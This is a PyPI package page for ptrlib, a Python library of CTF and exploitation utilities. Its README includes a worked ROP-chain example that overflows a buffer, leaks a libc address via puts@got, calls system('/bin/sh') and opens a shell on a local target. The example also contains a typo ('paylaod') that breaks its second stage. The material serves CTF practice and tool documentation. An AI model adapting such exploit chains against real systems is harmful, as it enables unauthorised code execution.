ptrlib
====
![Python Test (Windows)](https://github.com/ptr-yudai/ptrlib/workflows/Python%20Test%20%28Windows%29/badge.svg)
![Python Test (Ubuntu)](https://github.com/ptr-yudai/ptrlib/workflows/Python%20Test%20%28Ubuntu%29/badge.svg)
Python library which bundles security-related utilities.
## Description
Ptrlib is a Python library for CTF players.
It's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.
## Why not pwntools?
Ptrlib is designed to be as library-independent as possible.
Also, ptrlib has some pros such as supporting Windows process.
## Requirements
Supports: Python 3.8 or later
Library Dependency:
- pycryptodome
- pywin32 (when handling Windows process)
External Program:
- When using `SSH` function:
- ssh
- expect
- When using `nasm` function:
- nasm
## Usage
Basic examples are available at [/examples](https://github.com/ptr-yudai/ptrlib/tree/master/examples/).
Testcases under [/tests](https://github.com/ptr-yudai/ptrlib/tree/master/tests/) may also help you understand ptrlib.
## Quick Document
There are many functions in ptrlib.
In this section we try using it for a pwnable task.
You can run executable or create socket like this:
```python
sock = Process("./pwn01", cwd="/home/ctf")
sock = Process(["./pwn01", "--debug"], env={"FLAG": "flag{dummy}"})
sock = Process("make menuconfig", shell=True)
sock = Socket("localhost", 1234)
sock = Socket("example.com", 443, ssl=True, sni="neko")
sock = SSH("example.com", 22, username="ubuntu", password="p4s$w0rd")
sock = SSH("example.com", 22, username="ubuntu", identity="./id_rsa")
```
If you have the target binary or libc, it's recommended to load them first.
```python
elf = ELF("./pwn01")
libc = ELF("./libc.so.6")
```
This doesn't fully analyse the binary so that it runs fast.
Also, ELF class supports cache to reduce calculation.
Since version 2.4.0, ptrlib supports loading debug symbol.
```python
libc = ELF("./libc.so.6")
print(libc.symbol("_IO_stdfile_1_lock"))
```
You can use some useful methods such as `got`, `plt`, `symbol`, `section` and so on.
The following is an example to craft ROP stager.
```python
"""
Connect to host
"""
# Host name supports CTF-style
sock = Socket("nc localhost 1234")
# You can show hexdump for received/sent data for debug
#sock.debug = True
"""
Write ROP chain
"""
addr_stage2 = elf.section(".bss") + 0x400
payload = b'A' * 0x108
payload += flat([
# puts(puts@got)
next(elf.gadget("pop rdi; ret;")),
elf.got("puts"),
elf.plt("puts"),
# gets(stage2)
next(elf.gadget("pop rdi; ret;")),
addr_stage2,
elf.plt("gets"),
# stack pivot
next(elf.gadget("pop rbp; ret;")),
addr_stage2,
next(elf.gadget("leave\n ret")) # GCC-style
], map=p64)
sock.sendlineafter("Data: ", payload)
"""
Leak libc address
"""
# You don't need to fill 8 bytes for u64
leak = u64(sock.recvline())
# This will show warning if base address looks incorrect
libc.base = leak - libc.symbol("puts")
payload = b'A' * 8
paylaod += p64(next(elf.gadget("ret")))
# Automatically rebase after <ELF>.base is set
payload += p64(next(libc.search("/bin/sh")))
payload += p64(libc.symbol("system"))
# Shows warning if payload contains a character `gets` cannot accept
is_gets_safe(payload) # is_[cin/fgets/gets/getline/scanf/stream]_safe
sock.sendline(payload)
sock.sh() # or sock.interactive()
```
Interaction with curses is supported since 2.1.0.
```
sock.recvscreen()
if sock.recvscreen(returns=list)[1][1] == '#':
sock.sendctrl("up")
else:
sock.sendctrl("esc")
```
## Install
Run `pip install --upgrade ptrlib` or `python setup.py install`.
## Licence
[MIT](https://github.com/tcnksm/tool/blob/master/LICENCE)
## Author
[ptr-yudai](https://github.com/ptr-yudai)
## Contributor
Feel free to make a pull request / issue :)
- [jptomoya](https://github.com/jptomoya)
- Added CI for Windows
- Added SSL support
- Refactored test cases
- [theoremoon](https://github.com/theoremoon)
- Added/fixed several cryptography functions
- Added buffering of Socket/Process
- Added status check (CI test)
- [keymoon](https://github.com/key-moon)
- Added algorithm package
- Added debug-symbol parser
Raw data
{
"_id": null,
"home_page": "https://github.com/ptr-yudai/ptrlib/",
"name": "ptrlib",
"maintainer": null,
"docs_url": null,
"requires_python": ">=3.8",
"maintainer_email": null,
"keywords": "pwn crypto algorithm",
"author": "ptr-yudai",
"author_email": "ptr.yudai+dev@gmail.com",
"download_url": null,
"platform": null,
"description": "ptrlib\n====\n\n![Python Test (Windows)](https://github.com/ptr-yudai/ptrlib/workflows/Python%20Test%20%28Windows%29/badge.svg)\n![Python Test (Ubuntu)](https://github.com/ptr-yudai/ptrlib/workflows/Python%20Test%20%28Ubuntu%29/badge.svg)\n\nPython library which bundles security-related utilities.\n\n## Description\nPtrlib is a Python library for CTF players.\nIt's designed to make it easy to write a complex program of cryptography, networking, exploit and so on.\n\n## Why not pwntools?\nPtrlib is designed to be as library-independent as possible.\nAlso, ptrlib has some pros such as supporting Windows process.\n\n## Requirements\nSupports: Python 3.8 or later\n\nLibrary Dependency:\n- pycryptodome\n- pywin32 (when handling Windows process)\n\nExternal Program:\n- When using `SSH` function:\n - ssh\n - expect\n- When using `nasm` function:\n - nasm\n\n## Usage\nBasic examples are available at [/examples](https://github.com/ptr-yudai/ptrlib/tree/master/examples/).\n\nTestcases under [/tests](https://github.com/ptr-yudai/ptrlib/tree/master/tests/) may also help you understand ptrlib.\n\n## Quick Document\nThere are many functions in ptrlib.\nIn this section we try using it for a pwnable task.\n\nYou can run executable or create socket like this:\n```python\nsock = Process(\"./pwn01\", cwd=\"/home/ctf\")\nsock = Process([\"./pwn01\", \"--debug\"], env={\"FLAG\": \"flag{dummy}\"})\nsock = Process(\"make menuconfig\", shell=True)\nsock = Socket(\"localhost\", 1234)\nsock = Socket(\"example.com\", 443, ssl=True, sni=\"neko\")\nsock = SSH(\"example.com\", 22, username=\"ubuntu\", password=\"p4s$w0rd\")\nsock = SSH(\"example.com\", 22, username=\"ubuntu\", identity=\"./id_rsa\")\n```\n\nIf you have the target binary or libc, it's recommended to load them first.\n```python\nelf = ELF(\"./pwn01\")\nlibc = ELF(\"./libc.so.6\")\n```\nThis doesn't fully analyse the binary so that it runs fast.\nAlso, ELF class supports cache to reduce calculation.\n\nSince version 2.4.0, ptrlib supports loading debug symbol.\n```python\nlibc = ELF(\"./libc.so.6\")\nprint(libc.symbol(\"_IO_stdfile_1_lock\"))\n```\n\nYou can use some useful methods such as `got`, `plt`, `symbol`, `section` and so on.\nThe following is an example to craft ROP stager.\n```python\n\"\"\"\nConnect to host\n\"\"\"\n# Host name supports CTF-style\nsock = Socket(\"nc localhost 1234\")\n# You can show hexdump for received/sent data for debug\n#sock.debug = True\n\n\"\"\"\nWrite ROP chain\n\"\"\"\naddr_stage2 = elf.section(\".bss\") + 0x400\n\npayload = b'A' * 0x108\npayload += flat([\n # puts(puts@got)\n next(elf.gadget(\"pop rdi; ret;\")),\n elf.got(\"puts\"),\n elf.plt(\"puts\"),\n # gets(stage2)\n next(elf.gadget(\"pop rdi; ret;\")),\n addr_stage2,\n elf.plt(\"gets\"),\n # stack pivot\n next(elf.gadget(\"pop rbp; ret;\")),\n addr_stage2,\n next(elf.gadget(\"leave\\n ret\")) # GCC-style\n], map=p64)\nsock.sendlineafter(\"Data: \", payload)\n\n\"\"\"\nLeak libc address\n\"\"\"\n# You don't need to fill 8 bytes for u64\nleak = u64(sock.recvline())\n# This will show warning if base address looks incorrect\nlibc.base = leak - libc.symbol(\"puts\")\n\npayload = b'A' * 8\npaylaod += p64(next(elf.gadget(\"ret\")))\n# Automatically rebase after <ELF>.base is set\npayload += p64(next(libc.search(\"/bin/sh\")))\npayload += p64(libc.symbol(\"system\"))\n\n# Shows warning if payload contains a character `gets` cannot accept\nis_gets_safe(payload) # is_[cin/fgets/gets/getline/scanf/stream]_safe\n\nsock.sendline(payload)\n\nsock.sh() # or sock.interactive()\n```\n\nInteraction with curses is supported since 2.1.0.\n```\nsock.recvscreen()\nif sock.recvscreen(returns=list)[1][1] == '#':\n sock.sendctrl(\"up\")\nelse:\n sock.sendctrl(\"esc\")\n```\n\n## Install\nRun `pip install --upgrade ptrlib` or `python setup.py install`.\n\n## Licence\n\n[MIT](https://github.com/tcnksm/tool/blob/master/LICENCE)\n\n## Author\n\n[ptr-yudai](https://github.com/ptr-yudai)\n\n## Contributor\nFeel free to make a pull request / issue :)\n\n- [jptomoya](https://github.com/jptomoya)\n - Added CI for Windows\n - Added SSL support\n - Refactored test cases\n- [theoremoon](https://github.com/theoremoon)\n - Added/fixed several cryptography functions\n - Added buffering of Socket/Process\n - Added status check (CI test)\n- [keymoon](https://github.com/key-moon)\n - Added algorithm package\n - Added debug-symbol parser\n",
"bugtrack_url": null,
"license": null,
"summary": "CTF library",
"version": "2.4.0",
"project_urls": {
"Homepage": "https://github.com/ptr-yudai/ptrlib/"
},
"split_keywords": [
"pwn",
"crypto",
"algorithm"
],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "ea090adb61fe5bac086167c4157c24ad86781960d0695eee49a18a9ab2176dd7",
"md5": "88a28a5ab579d826e8321c7b4e1a8a72",
"sha256": "0de9585e99e5d0c9f285aa1bf282fe8d7de78d57af62bc707922709d605230b9"
},
"downloads": -1,
"filename": "ptrlib-2.4.0-py3-none-any.whl",
"has_sig": false,
"md5_digest": "88a28a5ab579d826e8321c7b4e1a8a72",
"packagetype": "bdist_wheel",
"python_version": "py3",
"requires_python": ">=3.8",
"size": 142232,
"upload_time": "2024-08-17T04:50:39",
"upload_time_iso_8601": "2024-08-17T04:50:39.952457Z",
"url": "https://files.pythonhosted.org/packages/ea/09/0adb61fe5bac086167c4157c24ad86781960d0695eee49a18a9ab2176dd7/ptrlib-2.4.0-py3-none-any.whl",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2024-08-17 04:50:39",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "ptr-yudai",
"github_project": "ptrlib",
"travis_ci": false,
"coveralls": false,
"github_actions": true,
"requirements": [
{
"name": "pycryptodome",
"specs": []
},
{
"name": "pywin32",
"specs": []
}
],
"lcname": "ptrlib"
}